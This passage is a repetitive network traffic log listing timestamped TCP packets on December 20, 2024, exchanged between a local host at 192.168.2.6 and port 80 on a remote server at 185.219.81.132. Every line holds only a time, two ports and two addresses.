Dec 20, 2024 22:52:33.132445097 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.132493019 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.133497953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.133543968 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.133626938 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.133666992 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.134668112 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.134718895 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.134766102 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.134809017 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.135787964 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.135835886 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.135950089 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.135998011 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.136944056 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.136986971 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.137023926 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.137067080 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.138102055 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.138144970 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.138216972 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.138284922 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.139271975 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.139331102 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.139364004 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.139403105 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.140414953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.140459061 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.140505075 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.140547991 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.141546011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.141591072 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.141653061 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.141696930 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.142721891 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.142766953 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.142819881 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.142863035 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.143870115 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.143918037 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.144031048 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.144094944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.144973040 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.145018101 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.145076990 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.145119905 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.146121025 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.146176100 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.146250010 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.146297932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.147305965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.147356987 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.147391081 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.147435904 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.148416042 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.148463011 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.148626089 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.148680925 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.149604082 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.149663925 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.149692059 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.149741888 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.150753021 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.150820971 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.150938988 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.150985003 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.151993990 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.152065039 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.152075052 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.152112007 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.153038979 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.153101921 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.153167963 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.153211117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.154236078 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.154299974 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.154330969 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.154378891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.155363083 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.155417919 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.155476093 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.155519962 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.156491995 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.156538010 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.156625986 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.156663895 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.157624006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.157666922 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.157756090 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.157798052 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.158839941 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.158890963 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.159265995 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.159327984 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.159939051 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.159995079 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.160171986 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.160226107 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.161089897 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.161147118 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.161176920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.161226034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.162266016 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.162319899 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.162379980 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.162431955 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.163445950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.163499117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.163779020 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.163831949 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.164568901 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.164623976 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.164680004 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.164731026 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.165687084 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.165739059 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.165793896 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.165846109 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.166855097 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.166908026 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.166961908 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.167016029 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.167989016 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.168042898 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.168097973 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.168145895 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.169147968 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.169199944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.169229984 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.169281960 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.170301914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.170355082 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.170387983 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.170438051 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.171432972 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.171485901 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.171566010 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.171617031 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.172591925 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.172651052 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.172678947 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.172732115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.173732996 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.173784018 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.173837900 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.173890114 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.174889088 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.174942970 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.175029039 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.175091028 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.176037073 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.176095963 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.176129103 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.176186085 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.177227020 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.177280903 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.177289963 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.177345037 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.178333044 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.178385973 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.178436041 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.178487062 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.179497957 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.179547071 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.179579020 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.179621935 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.180663109 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.180717945 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.180743933 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.180787086 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.181787014 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.181839943 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.181890965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.181946039 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.182879925 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.182931900 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.314750910 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.314831018 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.314861059 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.314889908 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.315323114 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.315368891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.315416098 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.315457106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.316414118 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.316461086 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.316529036 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.316574097 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.317550898 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.317595959 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.317675114 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.317718029 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.318703890 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.318749905 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.318815947 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.318857908 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.319855928 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.319902897 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.319976091 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.320020914 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.321012020 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.321063042 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.321113110 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.321157932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.322180033 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.322227955 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.322288036 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.322331905 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.323323011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.323381901 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.323410988 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.323457003 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.324500084 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.324561119 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.324563026 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.324610949 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.325615883 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.325809956 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.325839996 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.325859070 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.326793909 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.326845884 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.326880932 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.326936007 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.327953100 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.328084946 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.328125000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.328174114 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.329132080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.329180956 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.329226017 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.329272032 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.330220938 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.330276012 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.330329895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.330378056 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.331363916 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.331422091 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.331470013 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.331515074 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.332506895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.332570076 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.332628965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.332672119 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.333661079 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.333718061 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.333750010 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.333792925 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.334814072 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.334857941 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.334939003 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.334979057 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.336007118 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.336055040 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.336102009 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.336154938 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.337117910 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.337165117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.337194920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.337240934 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.338273048 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.338314056 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.338362932 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.338407040 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.339409113 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.339456081 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.339524984 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.339567900 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.340599060 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.340642929 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.340699911 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.340744019 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.341726065 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.341778994 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.341835022 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.341882944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.342852116 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.342909098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.342982054 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.343029022 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.344042063 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.344086885 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.344114065 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.344183922 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.345182896 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.345230103 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.345303059 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.345345020 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.346301079 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.346364975 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.346421957 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.346465111 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.347496033 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.347548962 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.347568035 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.347611904 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.348633051 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.348685980 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.348711014 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.348756075 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.349766016 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.349817991 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.349901915 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.349976063 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.350960016 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.351015091 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.351047039 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.351097107 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.352099895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.352152109 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.352161884 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.352195978 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.353213072 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.353272915 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.353334904 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.353379011 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.354372978 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.354417086 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.354490042 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.354532957 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.355508089 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.355546951 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.355635881 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.355681896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.356671095 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.356714964 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.356806993 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.356849909 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.357822895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.357866049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.357896090 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.357943058 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.358962059 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.359006882 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.359064102 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.359105110 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.360105991 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.360148907 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.360207081 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.360250950 CET	49786	80	192.168.2.6	185.219.81.132
